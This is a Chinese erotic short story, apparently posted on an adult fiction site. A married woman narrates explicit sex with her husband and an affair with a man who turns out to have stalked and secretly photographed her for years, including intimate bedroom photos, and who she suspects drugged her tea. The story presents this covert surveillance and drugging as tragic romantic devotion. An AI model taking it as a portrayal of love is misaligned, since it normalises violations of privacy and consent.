「电视里啊!电视里的人亲嘴就伸舌头来着。」女儿说得理直气壮的。(唉……现在的电视剧啊。)老公出去买了点熟食。吃饭时老公喝着啤酒,我也倒了一杯。我平时是不喝的。真不知这味道苦苦的东西有啥好喝。而且我喝一杯就晕。(女儿尝后却说好喝,这个小酒鬼,真随他爸爸。)今天,当凉凉的啤酒入口,倒没觉得有多苦,一杯酒几口就喝光了。冰爽舒心的感觉,仿佛平息了内心的燥热。

「想喝就喝吧,反正是在家里,不怕你『酒后无德』。」老公坏笑着把我的杯子斟满。(老公说我喝多了以后的样子憨态可拘,风骚撩人。还会主动勾引他。

他管我这种状态这叫『酒后无德』。)「闭嘴。罚你刷碗!」「本来也没打算让你刷,你看看,咱家的碗碟让你刷的,还剩几个了。就剩下这几个,还大多破边儿了。唉……就冲你,咱家的碗碟也得换成跟妞妞幼稚园那样不锈钢的。」「可恶!又说我!我又不是故意的。」我从拖鞋里抽出脚来踹他。却被他抓着,放在两腿间夹住。

「嘻嘻,哪有啊,我怎么舍得说我家的大宝贝呢。」(因为我常常孩子气,总也长不大似的,老公说我是他的大闺女叫我大宝贝,女儿是小宝贝。)「说了!你就是说了!」我的脚在他两腿间挣扎着踩在他的裆里,脚心感觉热乎乎的,老公肥大的短裤里,一个圆柱体慢慢变大。老公松开加紧的腿,我的脚便灵巧的从他宽松的裤腿儿钻了进去,用脚趾拨弄着那个坏东西……好不容易熬到九点。从吃完饭就觉得酒气上涌。脸热、心热、浑身热。感觉那股玫瑰茶香被酒气给蒸发出来,越发浓郁。老公给女儿洗完澡,就自己洗了。

女儿趴在床上看着漫画,我靠在床头,用手机斗着地主。终于按耐不住,跟女儿说了句「妞妞乖乖的自己看哦,妈妈也去洗澡。」就急急的脱光自己奔去卫生间。

老公已经洗得差不多了,看我进来就色色的说,「哈哈,来陪我洗鸳鸯浴啊!」「切,我解小便。」我假假的坐在坐便器上。

「哦,原来是来小便的。」老公笑嘻嘻的凑过来,把他那挂着水珠儿,不软不硬的东西递到我嘴边。

「干嘛?」「献宝啊!」我白了他一眼。

「亲亲。」「不亲。」「亲亲它呗。」「不亲,臭。」「亲亲吧,刚洗干净,香的。」「切!不亲,我咬。」我说着,用牙齿咬住它。

抬眼看着老公,皱着眉头装作要用力的样子。老公的手指点着我的鼻子,「大宝贝,你今天可是够香的哦。」「我本来就香。」「你今天的香味很特别。擦什么啦?」「哦,应该是玫瑰精油的味儿吧,我中午去美容院了。」(我怎么这么机智呢。)「我听说,玫瑰精油好像催情哦……怪不得你今天这么……骚……」我把他的坏东西用力含住,用舌头使劲的搅拌着。不想再听他啰嗦。

「唔……」他果真舒服的不再说话。

坏东西大了,我在它亮光光的头儿上腻腻的一舔一亲,然后起身。

「你出去吧,我该洗澡了。」「啊?出去啊?我这样怎么出去啊?」我笑着打开水阀,站到花洒下冲着水,任老公挺着「家伙儿」晾在那儿。

「我帮你洗。」我就知道,他才不会出去呢。

说实在的,孩子都快上学了。和老公肌肤相亲,摸摸亲亲的早已成了家常便饭。早已没那么兴奋刺激了。从我十八岁,和他第一次做爱到现在,十三年了。

早就是左手右手的感觉了。可最近不知怎么了,莫非真的是三十如狼?

老公贴在我身后,两只手在我涂满浴液的身上忙活着。他火热坚硬的宝贝在我后腰和股沟窜来窜去。我回手握住它。踮起脚,把它送到我的两腿间,然后用腿夹住,轻轻的扭动着屁股。滑滑的浴液让它如泥鳅般在我的腿缝来去自如。我的一只手捂在自己的腿间。

感觉着它一下一下顶着我的手心。感觉它一下一下磨着我的唇瓣。我用手轻轻一推,它就顶进了花瓣。我关了水,抓着水管伏下身子,尽力翘起屁股迎合着。

老公的手指又进入了我的菊花,先是一根,然后两根……「唔……坏蛋……」我转过头想看看,淩乱的头发挡住了视线。

他的宝贝在挺动,他的手指在转动。

「啊!」他的宝贝突然的抽出,我感觉有一股液体从花瓣中喷出。我忘情的大叫了一声。

「妈妈!你怎么啦?」女儿的声音仿佛近在耳边。(呀!我锁卫生间的门了吗?好……好像锁了……)「乖妞妞,你妈妈看到一只小虫子,吓了她一跳。在咱家,你妈妈的胆子最小了哈。还不如小妞妞呢,是吧?」老公信口胡绉着。

我终于缓过这口气儿,「妞妞,困了吗?困了就躺下自己睡吧。」「我本来都快睡着了,让你给吵醒了。妈妈,是飞的虫子吗?是蚊子吗?逮着没有啊?打死了吗?」「宝贝,爸爸正在逮呢。」老公一边说,一边抽出菊花里的手指,缓缓的把他的坏东西捅进了我的菊花。

「嗯……」女儿就在门口,我强忍着没有叫。不知是不是因为浴液的润滑,我倒是没有感觉到疼。只是菊花里面涨涨的,满满的,还牵扯着小腹酸酸的。

「乖妞妞……去睡吧……一会儿……等你爸爸把虫子打死……妈妈……洗完了……就去陪你哦……」讨厌的老公一边揉弄着我的肉唇,一边用坏东西在菊花里轻轻抽动。

「妈妈的胆子真小,昨天我还打死一只蚊子呢。妈妈不怕,有我和爸爸保护你呢……」女儿的声音渐渐远去,应该是回卧室去了。

「你没拿个套儿进来?」老公问我。

「没」「那一会儿我射你菊花里行吗?」「你随便吧……快点儿……」老公刚才这一阵揉弄和不紧不慢的抽动,尤其是女儿就在门口。紧张,快感,已经让我腿软得快站不住了。老公两手扶住我的屁股,渐渐加力,渐渐加速。

我一手抓着水管,一手揉着花蒂。老公的宝贝疯狂的进出着我。一会儿前面一会儿后面。我鼻子一酸,眼泪不受控制的涌出。快乐,内疚一起涌上心头。我想大声哭喊,只有这样才能宣泄我的快乐与内疚……当感觉到老公在菊花里「突突……」的喷射了热流。我终于一下子跪坐在地上……我软软的坐在坐便器上,任老公给我冲洗。

「这下你满意啦?终于弄了人家的菊花啦。」我用手指拔剌着坏东西。

「哼……平时总是吃着碗里的看着盆里的……今天都吃到嘴了哈……」「呵呵……是啊……是啊……今天吃的……套餐……」夜已深了,老公和女儿已沉沉的睡着。我倚在床头,手里拿着手机。刚才和老公的「激烈运动」让酒气挥发殆尽。只是哭过以后,鼻子还有点不通气儿。老公早已看惯了我高潮时的泪水。他说这是我对他「辛勤工作」的最好奖赏。

手机萤幕上QQ好友栏里,黄弋的头像亮着。十一点多了,他在哪呢?在干嘛呢?我想他?不。牵挂?好像有一点吧。我爱他吗?不。可能有一点喜欢吧。

我只爱我老公。那我跟他「那样」算怎么回事呢。我是个坏女人吗?不是吧。

我只是对他好奇。是因为生活太平淡吧。

而跟他在一起时感觉很新鲜,很刺激。但,老公若是知道了我跟黄弋的事……会很生气吧……会不会不爱我了……会不会不要我了……(我的泪又在眼眶里打转。)不会的。老公说过,他爱我比我爱他更多。不哭,他不会不要我的……一定不会的……手腕不小心碰了下汝头,火辣辣的疼。唉……两个小东西今天饱受摧残。还好,刚才老公一直专注于菊花,没顾上它。老公最喜欢我的汝房了,总摸不腻,吃不够似的。刚结婚那会儿,别说是在家,就是上街,老公也总是不放过它。

比如,夏天出门,让我穿一件肥大的T恤,里面不许我戴胸罩。他和我走在一起时,喜欢看我胸前一抖一抖的掀起阵阵的波浪。他用自行车带我时,喜欢让我坐在前面「大梁」上。他一只手扶着车把,一只手从我T恤袖口伸进去,手掌放在乳房下沿。

他坏坏的专挑不平的路走,他喜欢我的肉球在他的手心里一颤一颤弹跳的感觉。就算我有时坐在后面,他也会让我搂紧他,让我用乳房贴住他。当然,我那时也会常常调戏他。我坐前面时,他在我胸口捣蛋,我也会偶尔回手在他的档里抓一把反击。

如果我坐在后面,那就方便多了。我可以大大方方的把手伸进他裤子口袋。

然后在里面放开手段……「信手拈来」……嘻嘻……常常弄得老公硬挺挺的下不了车……唉……那是多么快乐的时光啊!自从有了小妞妞,便开始了忙碌。不再有那种闲暇,也很难再有那种闲情。和老公在一起独处的时间几乎没有了,浓情蜜意的话语也很少了,互相捏一下摸一把的亲昵动作都已经很陌生了。连做爱也常常是匆匆忙忙,偷偷摸摸,成了习以为常的肢体接触,然后草草了事……我和老公每天除了工作就是女儿,几乎没有时间能安静的说说贴心话。(每天和同事说的话都比和老公说的话多。和黄弋就更多了,又是当面聊,又是QQ的。)有一次孩子玩到很晚才睡,好不容易把她哄着,我也困得不行了。我刚睡着,老公钻到我被窝,说想做。我很烦,迷迷糊糊的不知数落了老公些什么。反正他静静的搂了我一会儿就回他被窝去了。我知道他生气了,就强打起精神,去他被窝哄他。可不管我再如何努力,那晚老公的宝贝一直也没硬起来。

老公说,「算了,还是睡觉吧。」从那以后,老公很少主动来撩拨我。(老公不是个小心眼的人,但是很敏感。他从不跟我发脾气,只会自己生闷气。)过了好长一段时间,他一直没再碰我。

我终于忍不住问他,「我们的感情是不是淡了,冷了。你是不是对我开始厌倦了。在一起这么长时间,我是不是对你没有吸引力了?是不是觉得我不可爱了?不想理我了,想和我分开了?」我说着说着就哭了。

一想到和他分开……泪水便止不住了……「傻宝贝……」老公抱紧我。

「老婆,我们还分得开吗……在一起这么多年了,早已经习惯了……」老公,你说过,我们是不会分开的是吧……想着,想着,思绪纷乱的想着,泪水终于还是不争气的溢出……滑落……《当爱已是习惯》

最喜欢你看着我的眼睛说你喜欢最想念你捧着我的脸颊说你想念最喜欢你用激情的拥吻诉说爱怜最想念你那温柔的抚摸千遍万遍最迷恋你温暖的臂膀让我睡得那么甜最迷恋你滚烫的身体害得我无眠最害怕有一天没有了你我该怎么办最害怕有一天你会放任我孤单最难忘你说和我在一起已是习惯最难忘你说不管怎样也不会改变任寒来暑往月缺月圆任行色匆匆光阴似箭任你我厮守不知不觉任雨打风吹不知疲倦……写着,写着,在『空间』里写着,泪水终于蒙住了眼睛,再也看不清手机萤幕了……这几天,公司里事情挺多。看房的,谈合约的,退租的,装修的,都赶一块儿了。老公还出差了,预计要半个月。我索性和女儿住到了姥姥家。有姥姥、姥爷接送妞妞,让我轻松了不少。

这几天,我没有再去黄弋那儿。一方面是真的挺忙的,一方面是那天在他那里那么长时间,不知他们公司的人会不会知道些什么。再有,我也想让自己冷静一下。黄弋倒是一如往常,打了个电话过来,听我说忙,只是嘱咐了几句注意身体,注意休息之类的。

静下来的时候,我还是会琢磨着黄弋。回想我和他的事。他真的不能做爱吗?

如果他真的阳痿,那他干嘛要挑逗我?那玫瑰花茶应该是有问题的,两次喝完之后那难以抑制的冲动和兴奋,以及回家后跟老公那久违了的酣畅,疯狂。都充分印证了。

他到底要干什么?得到我的身体?那天他本可以彻底占有我,得到我的。可是他没有。他想放长线?不光想得到我的人,还想得到我的心?不可能的,我跟他说过很多次了。我只爱我老公。决不会,也决不可能爱别人。

没有金钱攻势,(除了那张美容卡他再没送过我东西。)没有刻意讨好,(除了那顿肯德基,我们甚至没再一起吃过一顿饭。)不多嘴打听我的家事,也从没说过自己前妻(叶菲)以及她家人的坏话。(我甚至没有看过叶菲的照片,是出于对叶菲的保护?)不管从哪方面说,黄弋都是个迷一样的人。

……今天因为下了一天的大雨,终于能闲了下来。坐在座位上,上了一天网,据说不少道路积水有半米深了。呵呵,还好,我这儿是三十九层。不过还是早点停吧,我可不想下班趟水回家。

三点,公司通知,今天天气不好,早放了。同事们陆陆续续的走了。我看着落在玻璃幕墙上又大又密的雨点发呆。真要趟水回去啊?这么大的雨,即使有雨衣雨伞也肯定会湿透的。幸好今天没让妞妞去幼儿园。

要不我就再等等,等雨停,哪怕小一点再走。(现在羡慕人家有车族了。)回到电脑前,QQ上黄弋上线了。

「雷雨天气,应该远离电话电脑和窗户!」「切!你不是也正在用电脑吗!还说我呢!」「嘻嘻,你在三十九层,比我要危险的多啊!」「踢你啊!闭上你的乌鸦嘴!」「呵呵,你干嘛呢?今天没事了吧。」「嗯,公司让我们提前下班了,同事们都走了,我想等雨小一点再走。」「我用车送你吧。」「哦,行。」等我来到地下停车场,黄弋已经在车上了。车场里空荡荡的,他的大吉普(黄弋说叫长城赛弗,我不懂,就叫它大吉普。)孤零零的停在那。我上了车,在坐在副驾。

「这几天累坏了吧。」「还行。」他没有发动车子,我也没有催他。「老公出差了?」「嗯。(他知道的还不少)」「不急着回家吧?」「嗯。」「呵呵,那咱还不如在我公司坐会儿呢,坐着沙发,喝着茶。」「哼。还喝啊!」「你的……胸……没事吧?」「切,已经好啦。」「哦……呵呵……」他开了音响。

「风到这里就是粘,粘住过客的思念。

雨到这里缠成线,缠住我们留恋人世间。

你在身边就是缘,缘分写在三生石上面。

爱有万分之一甜,宁愿我就葬在这一点。

不懂爱恨情愁煎熬的我们,都以为相爱就像风云的善变,相信爱一天,抵过永远……」他拉着我的手,他的手指在我的手背轻轻划着……他的手指在我的食指和中指间的指缝里揉着……他的手微微撩起我T恤的下摆,放在我的小腹上。「让我检查一下你的伤势吧。」「哼!都说了早好了……但愿不会留下新伤吧……」老公走了一个礼拜了,他的每一次触碰,都让我心跳。(还好,地下车场的摄像头只照车道,不用担心我们被监控看到。)「反正你老公还要过好多天才回来呢,留下点痕迹也不怕。」「你还真要……」他吻住了我的嘴唇,打断了我的话。感觉他解开我牛仔裤上的皮带,并且抽了出来。他的唇离开了,他又用那「无害」的眼神看着我。

(不知为什么,每次他这样的眼神,总能消除我的不安。)他把我的两手合拢,用皮带把手腕绑了起来。他提着皮带,我的双手举着越过头顶。他把皮带系在了座椅后面。于是我就这样举着胳膊,手在椅背被他绑在副架位置上。

他拉起我的T恤,直到T恤套住了我的头和胳膊。我透过T恤还能朦朦胧胧的看到一点他的轮廓。「没穿我送你的那个内衣啊?」「没。」「嗯,还好,这个也是前开的。」我还没明白他说「还好」是什么意思,就感觉胸罩向两边弹开。两个乳房跳了出来,跳进了他的嘴里,手里。(他的嘴和手早就等在那里了啊?)他的鼻子在一只乳房从下往上拱着,象一只小猪一样。

他的手沿着另一只乳房下沿的弧线轻扶着,象在轻扶一张漂亮的脸蛋。

他调了下我的座椅,让我斜躺着,这姿势让我的胸更加的挺起。他在我的乳房上亲着,舔着。除了乳头之外的地方都被他舔到了,胸口一片湿湿的,凉凉的。

虽然他始终没碰乳头,可我却感觉乳头在拼命的向前突着,麻…麻…的,痒痒的。

(此刻,我渴望他大力的捏,挤。渴望他使劲的揉,搓。掐我,咬我都行,只是别再象现在这样让我悬在半空就行。)感觉肋下多了一道束缚,应该是他的皮带,贴着乳房下沿。

然后解开我手上的皮带,在乳房上沿勒紧,又把两条皮带在乳沟处连接,拉紧。让皮带在我的胸口结成了个∞。两个汝房被他弄得鼓鼓的,汝头又胀得一跳一跳的。

虽然双手已经自由了,可我依然保持着这个姿势,任T恤蒙着,任他编排。

「啊——」终于,他狠狠的,狠狠的吸住了一只乳头。好舒服!感觉心被狠狠的揪了一下。

「啊——」另一个乳头被他的手指捏住,好疼。心仿佛也被他捏住了。他一会儿在这边狠吸,那边轻捻。一会儿又在这边轻舔,那边狠捏。我无意识的微微扭动着,无意义的轻声叫喊着……车子发动了,他把我的座椅放平,T恤放下了,堆在了胸脯之上,两只被皮带束着的乳房就那么裸露着。两个乳头直直的指向天空。他一手开车,一手还不断在我的乳房上揉捏。

「会不会被人看到啊?」我说着往车门那边挪了挪身子。「不会的。」他抓着我胸口的皮带,把我拉了回来。「呵呵,要不,我还把你的脸蒙上?」「你就坏吧!」我在他腰上掐了一把。

「啊……」他在我乳头上掐了一把。

「去哪?」我问。

「我家。」他回。

「我不能回去太晚的。」「嗯,知道了。」(这一次,我是清醒的,没有「花茶」,再没有能为自己开脱的借口了。老公,对不起,我就是想……只是想……和他彻底「疯」一次……原谅我吧……)落在车窗上的雨点稀疏,看来雨小了。他的手指还在不断的拨弄着我的乳头……音响里不知是谁在唱着……「在夜里,我的灵魂高高的飞翔,迎着风欢唱。

在梦里,我的灵魂自由的飘荡,忘了穿衣裳。

越过阻挡,向着远方,你说你会陪在我身旁,你说你爱我的疯狂……」车停了,我拿着我的包包,只是把T恤放下,就跟着他跑下车,跑进楼门,跑进电梯,直到跑进他的家。(还好一路都没碰见人。不然……)我一进屋,就踢掉人字拖鞋,冲进了他大敞四开的卧室。躺在他的床上,还在急急的喘着。(下车后这一路飞奔,紧张死我了。)抬头看见墙上的石英钟已经指向四点一刻了。

他走到床边,俯视着我。(我想我现在的样子一定很滑稽。T恤里面胸罩没系,还有两条皮带绑着……)他从我手里取走包包,放在床头柜上。然后跪在床边,看着我的脸。(我在他眼中没有看到情欲,只有深深的迷恋。)那是怎样的眼神啊……清澈的,痴痴的,真诚的,又是忧郁的,哀伤的……仿佛还有一丝痛苦的绝望。(为什么他可以有这么复杂的眼神啊?)我把头扭向一边,不敢再和他对视,怕自己会迷失在他的眼睛里。(我不可以爱上他的,我只爱我老公……)我听见他深深的吸了一口气,又略带颤抖的缓缓呼出。

仿佛在经过激烈的思想斗争后,做了一项重大的决定一般。「对不起,我喜欢你!」他在我耳边轻轻的说。「嗯。可我……不能喜欢你。」「我知道。你有家有老公了,而且你们很相爱。可我还是想跟你说,我喜欢你,我……爱你。而且很久了。」「可是……我……不可以爱你的。」「我知道,我知道。我不用你回应我什么,我只要你知道,我很爱你,很爱你,和你老公一样爱你,可能比他爱你还要多……」「我……」「听我说好吗,只需要你听我说,别问我为什么,你也不用回答我什么。」我看着他似懂非懂的点了点头。

「对不起,我骗了你。根本就没有叶菲,没有这个人,叶菲是我瞎编的。我这辈子只喜欢过,爱过一个人。就是你。我知道,你和老公很好。你的家庭很幸福。我们是不可能的,你不会……爱我的。」他从床头柜的抽屉里拿出一张存储卡,放到我的包包里。「你有空儿时,看看这里面的东西吧。我其实很早就爱上你了,甚至比你老公还早,那时你还在上高中。可是我……唉……可我……不可以追你的……不能和你在一起……」他可能是因为激动,让我觉得他有点语无伦次。但他说了让我别问,我只有默默的听着。「我终于还是忍不住接近你,我只是想让你知道,知道这世界上曾有过我这么一个人……一个很爱很爱你的人……」说真的,他的话我没听太懂。

可是,我真的很感动。

我起来,脱掉了T恤和胸罩。又脱掉了牛仔裤和内裤。拉过床边的他,帮他脱掉了身上的衣服。我让他坐在床边,然后,搂着他的头,把还束着皮带的乳房,递到他的嘴边,像母亲在喂孩子一样。

他给我解开了紧束的皮带。胸口留下了些许鲜红的淤痕。他爱怜的在淤痕上亲着,舔着……我的刚刚有些冷却的身体随着他的唇舌再一次升温,再一次滚烫……我的腿碰到了他硬硬的东西(啊!他很正常啊!他可以的啊!)我把他推倒在床上,然后骑了上去。我坐在他的腰上,一手握住他腿间的硬物,一手在他胸口拨弄着他的小乳头。他紧张的咬着嘴唇闭上了眼睛。

我放开握着他硬物的手,那个东西就贴在了我的股沟上。我慢慢的欠起身子,把屁股滑向他的大腿根。他那根硬硬的东西就仿佛是火热的犁,从我的股间唇间犁过,然后「啪」的一声拍打在他的小腹上。

「嗯……」我俩同时哼了出来。我趴下身子,伏在他胸前。学着他,时而狠吸,时而轻舔他小小的乳头。长发遮住了我的视线,我看不见他的表情,只听见他「呼呼……」的喘着粗气。他翘起膝盖顶在我滑滑腻腻的唇瓣上,研磨着……然后……他的那个东西进入了我……片刻,那个东西就从唇瓣中挣脱出来……他突然坐起来,紧紧的抱住我,紧紧的咬住了我的乳房……他的东西夹在我俩的身体中间狠狠的跳着……喷射着……感觉胸肚间热热黏黏的一大片……他软软的躺回床上,我回头看了下表,已经五点多了。我拿面纸匆匆清理了一下我和他。「呵呵……谢谢你,帮我摘掉了处男的帽子……」「还贫嘴。」他的脸色很难看。(难道他说的是真的?他真是第一次?)「不早了,我得回家了。」「我……」「呵呵,你就好好歇歇吧,我自己打车回去就行。」「那好吧……能亲……我一下吗?」「干吗?吻别啊。还真跟个女人似的。恩啊……黄姐,白白啦!」我急急忙忙穿好衣服,拿了包包,亲了一下他,就离开了他的家……晚上,等女儿睡了。我躺在床上,抚着胸口的淤痕和乳房上他「最后时刻」留下的牙印,呆呆的想着,该不该给他发个短信。手机QQ上,他不在。我想跟他说什么呢?我还在混乱中。他下午说的话,让我既感动又迷惑。他早就爱上我了?

比老公还早?那个存储卡里是什么呢?只有等方便时再看了。

用手轻轻的揉着汝房,希望能快点恢复,希望老公回来时不会发现什么。

外面的雨还在不紧不慢的下着。我还在看着手机上黄弋灰色的头像发愣。他在干吗呢?睡了吗?我走的时侯,看他那样子,呵呵,我忍不住想笑。别看他在挑逗,「折磨」女人方面像个高手,但在做爱方面真是个「菜鸟」。

唉,以后该怎么办呢?他说他喜欢我,爱我。而我……也……不讨厌他。和他做情人?不好吧。被老公知道了可怎么办啊……真是的……怎么稀里糊涂的就到了现在这个地步了呢……我不是想好了,就是跟他彻底的「疯」一次吗?现在已经「疯」过了。我该收心了。以后不可以再和他太亲密了,趁老公还不知道。就当做一切没发生过?

和他继续做朋友?做得到吗?算了。还是睡觉吧,睡不着也得睡,明天还得上班呢。想不清楚的,就先不去想……不知数了多少只绵羊才昏昏睡去。早晨,当手机的闹钟吵醒我时,头还沉沉的。两腿间的湿滑,让我想起了昨夜的梦境。

哦,我梦见黄弋了。梦见黄弋把光着身子的我五花大绑,放在路边商店的橱窗里。橱窗外的行人来来往往,不时有人对我驻足观看,指指点点……他不断的把我摆成各种不堪的姿势。仿佛在当众展示。又在我的身上施展各种手段,仿佛在当众表演。

他用剃刀剃光了我的阴毛,用我的阴毛做成了一只毛笔。然后用这只毛笔一会儿挑逗我的阴蒂,一会儿挑逗我的尿道。又用我汹涌溢出的爱液调和颜料,在我身上作画……我被他玩弄于股掌之间,徘徊在高潮边缘。当他大大的分开我的双腿,让我后背靠在他的怀里,然后用手向两边拉开我的两片花唇,向橱窗外展示着我娇艳花蕊的时候,我突然发现老公出现在我面前。

在我惊恐,羞愧的想要闭上眼睛的时候,老公却温柔怜爱的吻了我,从额头到嘴唇……从脖颈肩头到胸口小腹……直到吻住我光洁润滑,怒放的花蕊……我抽搐着扑向老公……强烈的高潮让我在这一瞬间熔化……身后的黄弋和捆绑我的绳子在这一刻灰飞烟灭……连续两天,头晕头疼。白天昏昏沉沉只能强打精神,晚上异梦不断,搞得身心俱疲。黄弋没来电话,我也没给他打。我也很少上QQ,偶尔上了,也不见他的影子。老公倒是几乎一天一个电话,知道我不舒服,催我去看医生。说尽早赶回来。我就是感觉自己脑袋木木的,人懒懒的……好不容易挺到了周末,在家休息了两天,缓过点劲儿来。周一一上班,黄弋公司来人说要提前退租。还说……他们老板黄弋……死了!上周三晚上!

(就是下大雨那天晚上!)心脏病!人已经在上周五火化了!

我让同事给他们办手续。我坐在座位上,愣愣的看着QQ上黄弋的头像好半天回不过神儿来……下午,我请了半天假。回到自己的家,进门打开电脑,从包包里找出黄弋给我的那个存储卡……存储卡里有一个文档和一个文件夹。打开文档,里面写着……莹:不知你能否看到,也不知你何时会看到这段文字。

但愿……你永远不会看到。因为,那证明我还可以留在你身边。

能留在你身边陪着你,是一件多么幸福的事啊!哪怕是远远的看着,远远的念着。

可是我知道,这是一种奢望。我有严重的先天性心脏病,遗传的。我们家族的人没有一个能活过四十岁的。

正因为如此,我才没有从一开始就追求你。才使得我只能默默的关注你。只能把强烈的爱深深埋藏在心里。

我这种病是不适合结婚的,一方面是寿命短,再有就是心脏会负担不了做爱时的强烈刺激。会导致猝死的。

本来我只想远远的看着你,偷偷的旁观你的成长,你的生活就好。但随着你工作,恋爱,结婚,生子……随着我因为生意而学会了抽烟喝酒,使得心脏越显脆弱……让我情不自禁的想在所剩不多的日子里,能够亲近你,拥有你,哪怕是短暂的,哪怕只有一次。

我想让你知道,这世界上曾经有过一个这样深深的爱着你的男人。他这一辈子,只爱过你一个女人。

感谢上天的成全,让我如愿。感谢上天让我可拥有你,即使只是你的身体,即使是那样的短暂。

你说,你只爱你的老公。也好,只要我爱你就足够了。这样,当我离开时,你或许就不会太过伤心。

我知道等待我的是什么。当我决定靠近你时就知道。我就是那扑火的飞蛾。

能将生命熔化在烈焰中是我的荣幸。

再说一次:爱你黄弋打开文件夹,里面是上千张照片。拍的都是我。

各各时期的,真有我高中时的。各种场合的,真的有我和老公的「床照」。

看得出,有的是在公共场合远远的拍的。有的就是在我身边近在咫尺拍的。

啊!真的有那夜和老公在小屋的照片。他真的看到老公打我屁股了啊……啊?还有那天在他办公室被他绑着乳头时的……看完了……只感觉心里空空的……仿佛看了部催泪的凄美爱情故事片……精彩得令人没有心情喝彩……点开音乐播放器,莎拉布莱曼纯净空灵的声音在屋内萦绕……是啊,你就是那永不能说出的……甜蜜的……疯狂的……爱的故事……长久的凝视后……我用微微发抖的手握住鼠标……右键……然后……粉碎文件……

四天后,老公终于回来了。当我把自己撞进老公怀里时,已是泪流满面,泣不成声,压抑多日的泪水终于滚滚而出……「老公……你这次走得太远了……太久了……以后不要再离开我了……」(老公,我这次「走」得太远了,以后再也不会『离开』你了。)「乖宝贝,乖老婆,不哭,老公爱你。」「老公……我爱你……」

【全文完】

  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]